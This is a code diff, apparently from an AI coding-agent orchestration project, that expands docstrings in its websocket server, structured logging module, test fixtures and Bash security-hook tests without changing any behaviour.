agent_type (str): Agent role to look up, e.g. "coding" or "testing". Defaults to "coding". + Returns: - Tuple of (agentIndex, agentName) or (None, None) if not tracked. + tuple[int | None, str | None]: (agentIndex, agentName) or (None, None) if the agent is not tracked. """ async with self._lock: key = (feature_id, agent_type) @@ -231,12 +252,10 @@ async def get_agent_info(self, feature_id: int, agent_type: str = "coding") -> t return None, None async def reset(self): - """Reset tracker state when orchestrator stops or crashes. - - Clears all active agents and resets the index counter to prevent - ghost agents accumulating across start/stop cycles. - - Must be called with await since it acquires the async lock. + """ + Reset the tracker's state when the orchestrator stops or crashes. + + Clears all tracked agents, resets the agent index counter, and updates the last-cleanup timestamp. """ async with self._lock: self.active_agents.clear() @@ -244,10 +263,13 @@ async def reset(self): self._last_cleanup = datetime.now() async def cleanup_stale_agents(self) -> int: - """Remove agents that haven't had activity within the TTL. - - Returns the number of agents removed. This method should be called - periodically to prevent memory leaks from crashed agents. + """ + Remove tracked agents whose last activity exceeds AGENT_TTL_SECONDS. + + Removes matching entries from self.active_agents and updates the tracker's _last_cleanup timestamp. + + Returns: + int: Number of agents removed. """ async with self._lock: now = datetime.now() @@ -268,17 +290,45 @@ async def cleanup_stale_agents(self) -> int: return len(stale_keys) def _should_cleanup(self) -> bool: - """Check if it's time for periodic cleanup.""" + """ + Determine whether enough time has elapsed to trigger the periodic cleanup. + + Returns: + `true` if more than five minutes (300 seconds) have passed since the last cleanup, `false` otherwise. + """ # Cleanup every 5 minutes return (datetime.now() - self._last_cleanup).total_seconds() > 300 def _schedule_cleanup(self) -> None: - """Schedule cleanup if needed (non-blocking).""" + """ + Schedule a background cleanup of stale agent entries when the cleanup interval has elapsed. + + This method triggers a non-blocking background task to remove agents whose last activity exceeds the configured TTL; if a cleanup is not currently due, it returns without action. + """ if self._should_cleanup(): asyncio.create_task(self.cleanup_stale_agents()) async def _handle_agent_start(self, feature_id: int, line: str, agent_type: str = "coding") -> dict | None: - """Handle agent start message from orchestrator.""" + """ + Create a new agent tracking entry for the given feature and produce an `agent_update` payload for the UI. + + Parameters: + feature_id (int): Numeric feature identifier extracted from orchestrator output. + line (str): Orchestrator log line; used to extract a human-readable feature name if present. + agent_type (str): Type of agent being started (e.g., "coding" or "testing"). + + Returns: + dict: An `agent_update` dictionary containing keys: + - `type`: `"agent_update"` + - `agentIndex`: assigned numeric index for the agent + - `agentName`: display name (mascot) for the agent + - `agentType`: the provided `agent_type` + - `featureId`: the provided `feature_id` + - `featureName`: extracted or default feature name + - `state`: initial state (`"thinking"`) + - `thought`: initial thought message (`"Starting work..."`) + - `timestamp`: ISO 8601 timestamp of the event + """ async with self._lock: key = (feature_id, agent_type) # Composite key for separate tracking agent_index = self._next_agent_index @@ -627,7 +677,27 @@ def get_connection_count(self, project_name: str) -> int: async def poll_progress(websocket: WebSocket, project_name: str, project_dir: Path): - """Poll database for progress changes and send updates.""" + """ + Continuously poll test progress for the given project and send progress updates over the websocket. + + Sends a JSON message whenever the number of passing, in-progress, or total tests changes. Messages are sent every 2 seconds at most and have the shape: + { + "type": "progress", + "passing": int, + "in_progress": int, + "total": int, + "percentage": float # rounded to one decimal place + } + + Parameters: + websocket (WebSocket): WebSocket to send progress messages to. + project_dir (Path): Filesystem path of the project used to compute test progress. + + Raises: + asyncio.CancelledError: Propagates cancellation to allow cooperative shutdown. + Notes: + On unexpected errors the function logs a warning and exits the polling loop. + """ count_passing_tests = _get_count_passing_tests() last_passing = -1 last_in_progress = -1 @@ -662,12 +732,13 @@ async def poll_progress(websocket: WebSocket, project_name: str, project_dir: Pa async def project_websocket(websocket: WebSocket, project_name: str): """ - WebSocket endpoint for project updates. - - Streams: - - Progress updates (passing/total counts) - - Agent status changes - - Agent stdout/stderr lines + Provide a WebSocket endpoint that streams real-time project updates to a connected client. + + Streams progress metrics for test suites, agent lifecycle events and stdout/stderr lines, orchestrator observability events, and dev server logs/status. Performs authentication and project-name validation, sends initial state (agent status, dev server status, progress), registers callbacks to forward agent/dev output and status changes, and keeps the connection open to handle simple client messages (e.g., ping). Cleans up callbacks and background polling when the connection closes. + + Parameters: + websocket (WebSocket): Open WebSocket connection for the client. + project_name (str): Project identifier; must be a valid project name present in the registry. """ # Check authentication if Basic Auth is enabled if not await reject_unauthenticated_websocket(websocket): @@ -698,7 +769,18 @@ async def project_websocket(websocket: WebSocket, project_name: str): orchestrator_tracker = OrchestratorTracker() async def on_output(line: str): - """Handle agent output - broadcast to this WebSocket.""" + """ + Process a single agent output line and broadcast resulting JSON messages to the connected WebSocket. + + Parameters: + line (str): A single stdout/stderr line from an agent or orchestrator. + + Description: + - Sends a `log` JSON message containing the raw line, an ISO timestamp, and optional `featureId` and `agentIndex` when the line can be attributed to a feature/agent. + - Forwards an `agent_update` JSON message when the AgentTracker produces one for the line. + - Forwards an `orchestrator_update` JSON message when the OrchestratorTracker produces one for the line. + - Handles client disconnects and connection errors without raising; unexpected exceptions are logged and do not propagate. + """ try: # Extract feature ID from line if present feature_id = None @@ -742,7 +824,12 @@ async def on_output(line: str): logger.warning(f"Unexpected error in on_output callback: {type(e).__name__}: {e}") async def on_status_change(status: str): - """Handle status change - broadcast to this WebSocket.""" + """ + Broadcast an agent status update to the connected WebSocket and reset trackers when the agent stops or crashes. + + Parameters: + status (str): Agent lifecycle status (e.g., "running", "stopped", "crashed"). If `status` is "stopped" or "crashed", the agent and orchestrator trackers are reset to clear any stale state. + """ try: await websocket.send_json({ "type": "agent_status", @@ -770,7 +857,11 @@ async def on_status_change(status: str): devserver_manager = get_devserver_manager(project_name, project_dir) async def on_dev_output(line: str): - """Handle dev server output - broadcast to this WebSocket.""" + """ + Broadcast a development-server log line to the connected WebSocket. + + This sends a JSON `dev_log` message containing the provided line and an ISO-8601 timestamp. If the client has disconnected, the function returns silently; connection errors are logged at debug level and other unexpected errors are logged as warnings. + """ try: await websocket.send_json({ "type": "dev_log", @@ -785,7 +876,12 @@ async def on_dev_output(line: str): logger.warning(f"Unexpected error in on_dev_output callback: {type(e).__name__}: {e}") async def on_dev_status_change(status: str): - """Handle dev server status change - broadcast to this WebSocket.""" + """ + Notify the connected WebSocket of a dev server status update. + + Parameters: + status (str): Dev server status string to send to the client; included in the `dev_server_status` message payload along with the detected dev server URL. + """ try: await websocket.send_json({ "type": "dev_server_status", @@ -868,4 +964,4 @@ async def on_dev_status_change(status: str): devserver_manager.remove_status_callback(on_dev_status_change) # Disconnect from manager - await manager.disconnect(websocket, project_name) + await manager.disconnect(websocket, project_name) \ No newline at end of file diff --git a/start_ui.py b/start_ui.py index b7184f5..80b29e4 100644 --- a/start_ui.py +++ b/start_ui.py @@ -137,7 +137,14 @@ def check_node() -> bool: def install_npm_deps() -> bool: - """Install npm dependencies if node_modules doesn't exist or is stale.""" + """ + Install npm dependencies for the UI when node_modules is missing or out of date. + + Determines whether installation is required (node_modules absent, empty, or older than package.json or package-lock.json) and runs `npm install` in the UI directory if needed. + + Returns: + True if dependencies are already installed or were installed successfully, False if package.json is missing or installation failed. + """ node_modules = UI_DIR / "node_modules" package_json = UI_DIR / "package.json" package_lock = UI_DIR / "package-lock.json" @@ -445,4 +452,4 @@ def main() -> None: if __name__ == "__main__": - main() + main() \ No newline at end of file diff --git a/structured_logging.py b/structured_logging.py index c63b99e..ed10810 100644 --- a/structured_logging.py +++ b/structured_logging.py @@ -50,7 +50,12 @@ class StructuredLogEntry: extra: dict = field(default_factory=dict) def to_dict(self) -> dict: - """Convert to dictionary, excluding None values.""" + """ + Build a dictionary representation of the log entry, omitting fields that are unset or empty. + + Returns: + dict: Mapping with keys 'timestamp', 'level', and 'message', plus any of 'agent_id', 'feature_id', 'tool_name', 'duration_ms', and 'extra' when those fields are present. + """ result = { "timestamp": self.timestamp, "level": self.level, @@ -69,7 +74,12 @@ def to_dict(self) -> dict: return result def to_json(self) -> str: - """Convert to JSON string.""" + """ + Return a JSON string representing the structured log entry. + + Returns: + json_str (str): JSON-encoded object containing the entry's fields (timestamp, level, message, and any present metadata such as `agent_id`, `feature_id`, `tool_name`, `duration_ms`, and `extra`). + """ return json.dumps(self.to_dict()) @@ -86,6 +96,14 @@ def __init__( agent_id: Optional[str] = None, max_entries: int = 10000, ): + """ + Initialize the StructuredLogHandler and ensure the SQLite backing store is ready. + + Parameters: + db_path (Path): Filesystem path to the SQLite database used to persist logs. The handler will create parent directories and initialize the database schema if needed. + agent_id (Optional[str]): Optional default agent identifier to attach to emitted log entries when a record does not supply one. + max_entries (int): Maximum number of log rows to retain in the database; older entries will be evicted when this limit is exceeded. + """ super().__init__() self.db_path = db_path self.agent_id = agent_id @@ -94,7 +112,11 @@ def __init__( self._init_database() def _init_database(self) -> None: - """Initialize the SQLite database for logs.""" + """ + Initialize the on-disk SQLite logs database and ensure required schema and indexes exist. + + This method acquires the handler's internal lock, opens (or creates) the SQLite file at self.db_path, enables WAL journaling for concurrent readers/writers, creates the `logs` table with columns for structured log fields, and adds indexes on timestamp, level, agent_id, and feature_id. Commits changes and closes the connection. + """ with self._lock: conn = sqlite3.connect(self.db_path) cursor = conn.cursor() @@ -213,6 +235,17 @@ def __init__( agent_id: Optional[str] = None, console_output: bool = True, ): + """ + Initialize the StructuredLogger for a project by preparing the project's SQLite logs database and attaching logging handlers. + + Parameters: + project_dir (Path): Root directory of the project; a database will be created at `/.autocoder/logs.db`. + agent_id (Optional[str]): Optional agent identifier to tag emitted logs and associate the DB handler with a specific agent. + console_output (bool): If True, attach a human-readable console StreamHandler in addition to the database-backed StructuredLogHandler. + + Side effects: + Ensures the `.autocoder` directory exists, creates/opens the SQLite log database, and configures an internal logger with a StructuredLogHandler and optional console handler. + """ self.project_dir = Path(project_dir) self.agent_id = agent_id self.db_path = self.project_dir / ".autocoder" / "logs.db" @@ -254,7 +287,17 @@ def _log( duration_ms: Optional[int] = None, **extra, ) -> None: - """Internal logging method with structured data.""" + """ + Log a message with structured metadata attached. + + Parameters: + level (str): Log level name (e.g., "debug", "info", "warn", "error") used to select the logger method. + message (str): Human-readable log message. + feature_id (Optional[int]): Optional numeric identifier for a feature or operation. + tool_name (Optional[str]): Optional name of a tool or subsystem associated with the log. + duration_ms (Optional[int]): Optional duration in milliseconds related to the logged event. + **extra: Additional key/value pairs to include in the structured `extra` payload. + """ record_extra = { "agent_id": self.agent_id, "feature_id": feature_id, @@ -270,23 +313,62 @@ def _log( ) def debug(self, message: str, **kwargs) -> None: - """Log debug message.""" + """ + Log a message at the debug level with optional structured metadata. + + Parameters: + message (str): Human-readable log message. + **kwargs: Optional structured fields to attach to the log entry. Recognized keys include + `agent_id` (str), `feature_id` (int), `tool_name` (str), `duration_ms` (int), and any + additional keys which will be stored under the entry's `extra` payload. + """ self._log("debug", message, **kwargs) def info(self, message: str, **kwargs) -> None: - """Log info message.""" + """ + Log an informational structured message for this logger. + + Parameters: + message (str): Human-readable message to record. + **kwargs: Optional structured metadata to attach to the log. Recognized keys: + - feature_id (int): Identifier for the feature or step. + - tool_name (str): Name of the tool or subsystem. + - duration_ms (int): Duration in milliseconds associated with the event. + - Any other keys will be included in the log's `extra` payload. + """ self._log("info", message, **kwargs) def warn(self, message: str, **kwargs) -> None: - """Log warning message.""" + """ + Log a message at the warning level. + + Parameters: + message (str): The message to log. + **kwargs: Optional structured fields forwarded to the logger (e.g., agent_id, feature_id, tool_name, duration_ms, extra). + """ self._log("warning", message, **kwargs) def warning(self, message: str, **kwargs) -> None: - """Log warning message (alias).""" + """ + Log a warning-level message. + + Parameters: + message (str): Human-readable log message. + **kwargs: Optional structured fields to include with the log entry (e.g. `agent_id`, `feature_id`, `tool_name`, `duration_ms`, `extra`). + """ self._log("warning", message, **kwargs) def error(self, message: str, **kwargs) -> None: - """Log error message.""" + """ + Log a message at the error level with optional structured metadata. + + Parameters: + message (str): Human-readable log message. + feature_id (Optional[int], in kwargs): Identifier for the feature emitting the log. + tool_name (Optional[str], in kwargs): Name of the tool related to this log. + duration_ms (Optional[int], in kwargs): Duration in milliseconds associated with the event. + extra (dict, in kwargs): Arbitrary additional payload to include with the log. + """ self._log("error", message, **kwargs) @@ -298,10 +380,21 @@ class LogQuery: """ def __init__(self, db_path: Path): + """ + Initialize the LogQuery bound to a specific SQLite logs database. + + Parameters: + db_path (Path): Filesystem path to the SQLite logs database used for queries. + """ self.db_path = db_path def _connect(self) -> sqlite3.Connection: - """Get database connection.""" + """ + Open a new SQLite connection to the configured logs database with rows returned as sqlite3.Row. + + Returns: + sqlite3.Connection: A new SQLite connection to self.db_path with `row_factory` set to `sqlite3.Row`. + """ conn = sqlite3.connect(self.db_path) conn.row_factory = sqlite3.Row return conn @@ -319,21 +412,23 @@ def query( offset: int = 0, ) -> list[dict]: """ - Query logs with filters. - - Args: - level: Filter by log level - agent_id: Filter by agent ID - feature_id: Filter by feature ID - tool_name: Filter by tool name - search: Full-text search in message - since: Start datetime - until: End datetime - limit: Max results - offset: Pagination offset - + Query structured logs using optional filters and pagination. + + Filters may restrict results by level, agent_id, feature_id, tool_name, a substring search of the message, and an inclusive time range. Results are ordered by timestamp descending. + + Parameters: + level (Optional[LogLevel]): Only include logs with this level. + agent_id (Optional[str]): Only include logs for this agent ID. + feature_id (Optional[int]): Only include logs for this feature ID. + tool_name (Optional[str]): Only include logs for this tool name. + search (Optional[str]): Substring to match in the `message` field. + since (Optional[datetime]): Include logs whose timestamp is >= this datetime. + until (Optional[datetime]): Include logs whose timestamp is <= this datetime. + limit (int): Maximum number of entries to return. + offset (int): Number of entries to skip (for pagination). + Returns: - List of log entries as dicts + list[dict]: Matching log rows as dictionaries with keys corresponding to the logs table (`id`, `timestamp`, `level`, `message`, `agent_id`, `feature_id`, `tool_name`, `duration_ms`, `extra`). """ conn = self._connect() cursor = conn.cursor() @@ -392,7 +487,18 @@ def count( feature_id: Optional[int] = None, since: Optional[datetime] = None, ) -> int: - """Count logs matching filters.""" + """ + Compute the number of log entries that match the provided filters. + + Parameters: + level (Optional[LogLevel]): If provided, only count entries with this log level. + agent_id (Optional[str]): If provided, only count entries for this agent_id. + feature_id (Optional[int]): If provided, only count entries with this feature_id. + since (Optional[datetime]): If provided, only count entries with timestamp greater than or equal to this value. + + Returns: + int: Number of matching log entries. + """ conn = self._connect() cursor = conn.cursor() @@ -425,9 +531,21 @@ def get_timeline( bucket_minutes: int = 5, ) -> list[dict]: """ - Get activity timeline bucketed by time intervals. - - Returns list of buckets with counts per agent. + Builds a time-bucketed activity timeline of logs. + + Each returned bucket represents a time interval (aligned to `bucket_minutes`) and aggregates per-agent log counts and error counts. + + Parameters: + since (Optional[datetime]): Start of the time range; defaults to 24 hours before now if omitted. + until (Optional[datetime]): End of the time range; defaults to now if omitted. + bucket_minutes (int): Length of each time bucket in minutes; buckets are aligned to minute boundaries (e.g., for 5 minutes: 00:00–00:04, 00:05–00:09). + + Returns: + list[dict]: A list of buckets ordered by time. Each bucket is a dict with: + - "timestamp": bucket start as an ISO-like string (YYYY-MM-DD HH:MM:00), + - "agents": mapping of agent_id (or "main" when null) to count of logs in that bucket, + - "total": total number of logs across all agents in the bucket, + - "errors": number of logs with level "error" in the bucket. """ conn = self._connect() cursor = conn.cursor() @@ -471,7 +589,22 @@ def get_timeline( return list(buckets.values()) def get_agent_stats(self, since: Optional[datetime] = None) -> list[dict]: - """Get log statistics per agent.""" + """ + Compute per-agent log statistics optionally restricted to logs at or after `since`. + + Parameters: + since (Optional[datetime]): If provided, only logs with timestamp >= `since` are included. + + Returns: + list[dict]: A list of per-agent statistics dictionaries sorted by total descending. Each dictionary contains: + - agent_id (Optional[str]): The agent identifier (may be NULL in the DB). + - total (int): Total number of logs for the agent. + - info_count (int): Number of logs with level "info". + - warn_count (int): Number of logs with level "warn" or "warning". + - error_count (int): Number of logs with level "error". + - first_log (str): ISO-formatted timestamp of the agent's earliest matching log. + - last_log (str): ISO-formatted timestamp of the agent's latest matching log. + """ conn = self._connect() cursor = conn.cursor() @@ -510,15 +643,15 @@ def export_logs( **filters, ) -> int: """ - Export logs to file. - - Args: - output_path: Output file path - format: Export format (json, jsonl, csv) - **filters: Query filters - + Export logs matching the provided filters to a file in the specified format. + + Parameters: + output_path (Path): Destination file path for the exported logs. + format (str): Output format; one of "json", "jsonl", or "csv". + **filters: Keyword filters to select logs to export (e.g., level, agent_id, feature_id, tool_name, since, until, search). + Returns: - Number of exported entries + int: Number of log entries written to the file. """ # Get all matching logs logs = self.query(limit=1000000, **filters) @@ -553,28 +686,28 @@ def get_logger( console_output: bool = True, ) -> StructuredLogger: """ - Get or create a structured logger for a project. - - Args: - project_dir: Project directory - agent_id: Agent identifier (e.g., "coding-1", "initializer") - console_output: Whether to also log to console - + Get or create a StructuredLogger for the given project directory. + + Parameters: + project_dir (Path): Path to the project directory where the logger's database will be stored. + agent_id (Optional[str]): Optional identifier for the agent to attach to emitted logs. + console_output (bool): If True, also attach a human-readable console handler. + Returns: - StructuredLogger instance + StructuredLogger: A logger instance configured for the specified project. """ return StructuredLogger(project_dir, agent_id, console_output) def get_log_query(project_dir: Path) -> LogQuery: """ - Get log query interface for a project. - - Args: - project_dir: Project directory - + Return a LogQuery bound to the project's logs SQLite database. + + Parameters: + project_dir (Path): Path to the project root; the logs database is located at `/.autocoder/logs.db`. + Returns: - LogQuery instance + LogQuery: A query interface for the project's logs database. """ db_path = Path(project_dir) / ".autocoder" / "logs.db" - return LogQuery(db_path) + return LogQuery(db_path) \ No newline at end of file diff --git a/tests/conftest.py b/tests/conftest.py index b39e91b..321ecea 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -25,13 +25,23 @@ @pytest.fixture def project_root() -> Path: - """Return the project root directory.""" + """ + Get the project's root directory. + + Returns: + Path: Filesystem path pointing to the project's root directory. + """ return PROJECT_ROOT @pytest.fixture def temp_project_dir(tmp_path: Path) -> Path: - """Create a temporary project directory with basic structure.""" + """ + Create a temporary project directory named "test_project" containing an empty "prompts" subdirectory. + + Returns: + Path: Path to the created project directory. + """ project_dir = tmp_path / "test_project" project_dir.mkdir() @@ -49,9 +59,13 @@ def temp_project_dir(tmp_path: Path) -> Path: @pytest.fixture def temp_db(tmp_path: Path) -> Generator[Path, None, None]: - """Create a temporary database for testing. - - Yields the path to the temp project directory with an initialized database. + """ + Create a temporary database for testing. + + Yields a Path to a temporary project directory named "test_db_project" that contains an initialized database and a "prompts" subdirectory. When the fixture is torn down, the database engine cache for that project directory is invalidated to release file handles. + + Returns: + project_dir (Path): Path to the temporary project directory with an initialized database. """ from api.database import create_database, invalidate_engine_cache @@ -72,9 +86,11 @@ def temp_db(tmp_path: Path) -> Generator[Path, None, None]: @pytest.fixture def db_session(temp_db: Path): - """Get a database session for testing. - - Provides a session that is automatically rolled back after each test. + """ + Provide an active SQLAlchemy session for tests that is rolled back and closed after the test. + + Yields: + session (Session): A database session connected to the temporary test database. The session will be rolled back and closed automatically when the fixture teardown runs. """ from api.database import create_database @@ -95,9 +111,10 @@ def db_session(temp_db: Path): @pytest.fixture async def async_temp_db(tmp_path: Path) -> AsyncGenerator[Path, None]: - """Async version of temp_db fixture. - - Creates a temporary database for async tests. + """ + Create a temporary project directory with an initialized database for async tests. + + Yields the Path to the temporary project directory containing an initialized database. On teardown, invalidates the database engine cache for that project to avoid file locks (Windows). """ from api.database import create_database, invalidate_engine_cache @@ -121,9 +138,11 @@ async def async_temp_db(tmp_path: Path) -> AsyncGenerator[Path, None]: @pytest.fixture def test_app(): - """Create a test FastAPI application instance. - - Returns the FastAPI app configured for testing. + """ + Provide the FastAPI application instance for tests. + + Returns: + app (FastAPI): The application instance imported from server.main. """ from server.main import app @@ -132,12 +151,14 @@ def test_app(): @pytest.fixture async def async_client(test_app) -> AsyncGenerator: - """Create an async HTTP client for testing FastAPI endpoints. - - Usage: - async def test_endpoint(async_client): - response = await async_client.get("/api/health") - assert response.status_code == 200 + """ + Provide an HTTP client configured to send requests to the given FastAPI app. + + Parameters: + test_app (FastAPI): The FastAPI application instance to mount into the client's ASGI transport. + + Returns: + AsyncClient: An `httpx.AsyncClient` configured with an `ASGITransport` for `test_app` and `base_url="http://test"`. """ from httpx import ASGITransport, AsyncClient @@ -155,14 +176,24 @@ async def test_endpoint(async_client): @pytest.fixture def mock_env(monkeypatch): - """Fixture to safely modify environment variables. - - Usage: - def test_with_env(mock_env): - mock_env("API_KEY", "test_key") - # Test code here + """ + Provide a pytest fixture that returns a helper to set environment variables via pytest's monkeypatch. + + The returned function sets the environment variable named `key` to `value` for the duration of the test. + + Returns: + callable: A function `(key: str, value: str)` that sets an environment variable. """ def _set_env(key: str, value: str): + """ + Set an environment variable for the current test. + + The variable is applied for the duration of the test and will be restored when the pytest monkeypatch fixture is undone. + + Parameters: + key (str): Environment variable name. + value (str): Value to assign to the environment variable. + """ monkeypatch.setenv(key, value) return _set_env @@ -170,12 +201,16 @@ def _set_env(key: str, value: str): @pytest.fixture def mock_project_dir(tmp_path: Path) -> Generator[Path, None, None]: - """Create a fully configured mock project directory. - - Includes: - - prompts/ directory with sample files - - .autocoder/ directory for config - - features.db initialized + """ + Creates a temporary mock project directory containing prompts, configuration, and an initialized database. + + The directory contains: + - prompts/ with a sample app_spec.txt + - .autocoder/ for config + - an initialized features.db via create_database + + Returns: + project_dir (Path): Path to the created mock project directory """ from api.database import create_database, invalidate_engine_cache @@ -210,7 +245,17 @@ def mock_project_dir(tmp_path: Path) -> Generator[Path, None, None]: @pytest.fixture def sample_feature_data() -> dict: - """Return sample feature data for testing.""" + """ + Provide a sample feature payload used by tests. + + Returns: + dict: A feature dictionary with keys: + - `priority` (int): Priority value (e.g., 1). + - `category` (str): Feature category (e.g., "test"). + - `name` (str): Feature name. + - `description` (str): Feature description. + - `steps` (list[str]): Ordered list of step descriptions. + """ return { "priority": 1, "category": "test", @@ -222,9 +267,15 @@ def sample_feature_data() -> dict: @pytest.fixture def populated_db(temp_db: Path, sample_feature_data: dict) -> Generator[Path, None, None]: - """Create a database populated with sample features. - - Returns the project directory path. + """ + Populate the temporary project's database with five sample Feature records and yield the project directory path. + + Parameters: + temp_db (Path): Path to the temporary project directory where the database will be created and populated. + sample_feature_data (dict): Fixture-provided sample feature fields (not required by this function's population logic). + + Returns: + Path: The same `temp_db` path after the database has been populated. """ from api.database import Feature, create_database, invalidate_engine_cache @@ -252,4 +303,4 @@ def populated_db(temp_db: Path, sample_feature_data: dict) -> Generator[Path, No yield temp_db # Dispose cached engine to prevent file locks on Windows - invalidate_engine_cache(temp_db) + invalidate_engine_cache(temp_db) \ No newline at end of file diff --git a/tests/test_async_examples.py b/tests/test_async_examples.py index dbd872a..ffdfdfa 100644 --- a/tests/test_async_examples.py +++ b/tests/test_async_examples.py @@ -65,7 +65,14 @@ async def test_async_feature_creation(async_temp_db: Path): async def test_async_feature_query(populated_db: Path): - """Test querying features in an async context.""" + """ + Verify database queries return expected counts of passing and in-progress Feature records. + + Asserts that exactly two Feature rows have `passes == True` and exactly one Feature row has `in_progress == True` in the provided populated test database. + + Parameters: + populated_db (Path): Path to a populated temporary test database. + """ from api.database import Feature, create_database _, SessionLocal = create_database(populated_db) @@ -142,7 +149,11 @@ async def test_bash_security_hook_with_project_dir(temp_project_dir: Path): async def test_orchestrator_initialization(mock_project_dir: Path): - """Test ParallelOrchestrator async initialization.""" + """ + Verify that ParallelOrchestrator initializes with the specified project directory, concurrency, and mode. + + Asserts that `max_concurrency` equals 2, `yolo_mode` is True, and the orchestrator is not running (`is_running` is False). + """ from parallel_orchestrator import ParallelOrchestrator orchestrator = ParallelOrchestrator( @@ -192,7 +203,11 @@ async def test_orchestrator_all_complete_check(populated_db: Path): async def test_health_endpoint(async_client): - """Test the health check endpoint.""" + """ + Verify the /api/health endpoint returns HTTP 200 and a JSON body with "status" set to "healthy". + + Asserts the response status code is 200 and the `"status"` field in the JSON payload equals `"healthy"`. + """ response = await async_client.get("/api/health") assert response.status_code == 200 data = response.json() @@ -240,7 +255,14 @@ async def test_concurrent_database_access(populated_db: Path): _, SessionLocal = create_database(populated_db) async def read_features(): - """Simulate async database read.""" + """ + Read all Feature records from the database and return their count. + + Closes the database session before returning. + + Returns: + count (int): Number of Feature records found. + """ session = SessionLocal() try: await asyncio.sleep(0.01) # Simulate async work @@ -258,4 +280,4 @@ async def read_features(): # All should return the same count assert all(r == results[0] for r in results) - assert results[0] == 5 # populated_db has 5 features + assert results[0] == 5 # populated_db has 5 features \ No newline at end of file diff --git a/tests/test_repository_and_config.py b/tests/test_repository_and_config.py index 631cd05..ba06848 100644 --- a/tests/test_repository_and_config.py +++ b/tests/test_repository_and_config.py @@ -135,7 +135,9 @@ def test_get_in_progress(self, populated_db: Path): session.close() def test_get_pending(self, populated_db: Path): - """Test getting pending features (not passing, not in progress).""" + """ + Verify the repository returns features that are neither passing nor in progress. + """ from api.database import create_database from api.feature_repository import FeatureRepository @@ -316,7 +318,11 @@ class TestAutocoderConfig: """Tests for the AutocoderConfig class.""" def test_default_values(self, monkeypatch, tmp_path): - """Test that default values are loaded correctly.""" + """ + Verify AutocoderConfig loads expected defaults when no .env file or relevant environment variables are present. + + Constructs AutocoderConfig with _env_file=None and asserts default values for playwright_browser, playwright_headless, api_timeout_ms, and anthropic_default_sonnet_model. + """ # Change to a directory without .env file monkeypatch.chdir(tmp_path) @@ -420,4 +426,4 @@ def test_reload_config(self, monkeypatch, tmp_path): # Reload creates a new instance config2 = reload_config() - assert config2 is not config1 + assert config2 is not config1 \ No newline at end of file diff --git a/tests/test_security.py b/tests/test_security.py index 0abcc93..5028929 100644 --- a/tests/test_security.py +++ b/tests/test_security.py @@ -33,13 +33,12 @@ @contextmanager def temporary_home(home_path): """ - Context manager to temporarily set HOME (and Windows equivalents). - - Saves original environment variables and restores them on exit, - even if an exception occurs. - - Args: - home_path: Path to use as temporary home directory + Temporarily set the process HOME to the given path and adjust Windows home-related variables for the context duration. + + The original environment variables HOME, USERPROFILE, HOMEDRIVE, and HOMEPATH are saved and restored on exit (restoration occurs even if an exception is raised inside the context). + + Parameters: + home_path (str | pathlib.Path): Path to use as the temporary home directory. """ # Save original values for Unix and Windows saved_env = { @@ -73,7 +72,18 @@ def temporary_home(home_path): def check_hook(command: str, should_block: bool) -> bool: - """Check a single command against the security hook (helper function).""" + """ + Run the Bash security hook for a single command and verify it is blocked or allowed as expected. + + Prints a PASS/FAIL line for the command; on failure prints the expected vs actual decision and the hook's reason if provided. + + Parameters: + command (str): The shell command to evaluate. + should_block (bool): Whether the command is expected to be blocked. + + Returns: + bool: `True` if the hook's decision matches `should_block`, `False` otherwise. + """ input_data = {"tool_name": "Bash", "tool_input": {"command": command}} result = asyncio.run(bash_security_hook(input_data)) was_blocked = result.get("decision") == "block" @@ -96,7 +106,12 @@ def check_hook(command: str, should_block: bool) -> bool: def test_extract_commands(): - """Test the command extraction logic.""" + """ + Run a set of test cases that validate extract_commands and print per-case PASS/FAIL. + + Returns: + tuple: (passed, failed) — the number of tests that passed and the number that failed. + """ print("\nTesting command extraction:\n") passed = 0 failed = 0 @@ -167,7 +182,14 @@ def test_validate_chmod(): def test_validate_init_script(): - """Test init.sh script execution validation.""" + """ + Run a suite of test cases that validate allowed and blocked usages of an init.sh invocation. + + This function executes a set of predefined commands against validate_init_script and checks whether each is allowed or blocked as expected. + + Returns: + (passed, failed) (tuple[int, int]): Number of test cases that passed and failed. + """ print("\nTesting init.sh validation:\n") passed = 0 failed = 0 @@ -206,7 +228,14 @@ def test_validate_init_script(): def test_pattern_matching(): - """Test command pattern matching.""" + """ + Run unit tests for command pattern matching and return counts of passed and failed cases. + + Exercises matches_pattern across exact matches, prefix wildcards, bare-wildcard behavior, local and absolute script path handling, and various non-match scenarios. Prints PASS/FAIL for each case. + + Returns: + tuple[int, int]: (passed, failed) number of test cases that passed and failed. + """ print("\nTesting pattern matching:\n") passed = 0 failed = 0 @@ -265,7 +294,18 @@ def test_pattern_matching(): def test_yaml_loading(): - """Test YAML config loading and validation.""" + """ + Run test cases that exercise loading and validation of a project's YAML command configuration. + + Performs four checks against a temporary project .autocoder/allowed_commands.yaml: + 1) Loads a valid YAML with three command entries. + 2) Returns None when the config file is missing. + 3) Returns None for invalid YAML content. + 4) Rejects configurations that exceed the command limit (more than 100 entries). + + Returns: + (passed, failed) (tuple): Number of tests that passed and failed. + """ print("\nTesting YAML loading:\n") passed = 0 failed = 0 @@ -399,7 +439,14 @@ def test_blocklist_enforcement(): def test_project_commands(): - """Test project-specific commands in security hook.""" + """ + Run tests verifying project-scoped allowed commands and pattern matching for the Bash security hook. + + Performs three checks against a temporary project configuration: that a declared project command is allowed, that a wildcard pattern (e.g., `swift*`) matches tooling names, and that a non-declared command is blocked. + + Returns: + (passed, failed) (int, int): Tuple with the count of passed and failed test cases. + """ print("\nTesting project-specific commands:\n") passed = 0 failed = 0 @@ -458,7 +505,20 @@ def test_project_commands(): def test_org_config_loading(): - """Test organization-level config loading.""" + """ + Verify loading and validation of organization-level configuration files. + + Runs a set of subtests that exercise: + - loading a valid org config, + - behavior when the config file is missing, + - rejection of non-string command names, + - rejection of empty command names, + - rejection of whitespace-only command names. + + Returns: + passed (int): Number of subtests that passed. + failed (int): Number of subtests that failed. + """ print("\nTesting org config loading:\n") passed = 0 failed = 0 @@ -551,7 +611,14 @@ def test_org_config_loading(): def test_hierarchy_resolution(): - """Test command hierarchy resolution.""" + """ + Validate merging of organization, project, and global command configurations and enforcement of the hardcoded blocklist. + + Verifies that organization-level allowed commands are present in the effective allowed set, organization-level blocked commands are present in the effective blocked set, project-level commands are included, global default allowed commands (e.g., npm, git) are present, and built-in hardlisted commands cannot be overridden. + + Returns: + tuple: (passed, failed) counts of passing and failing assertions. + """ print("\nTesting hierarchy resolution:\n") passed = 0 failed = 0 @@ -635,7 +702,12 @@ def 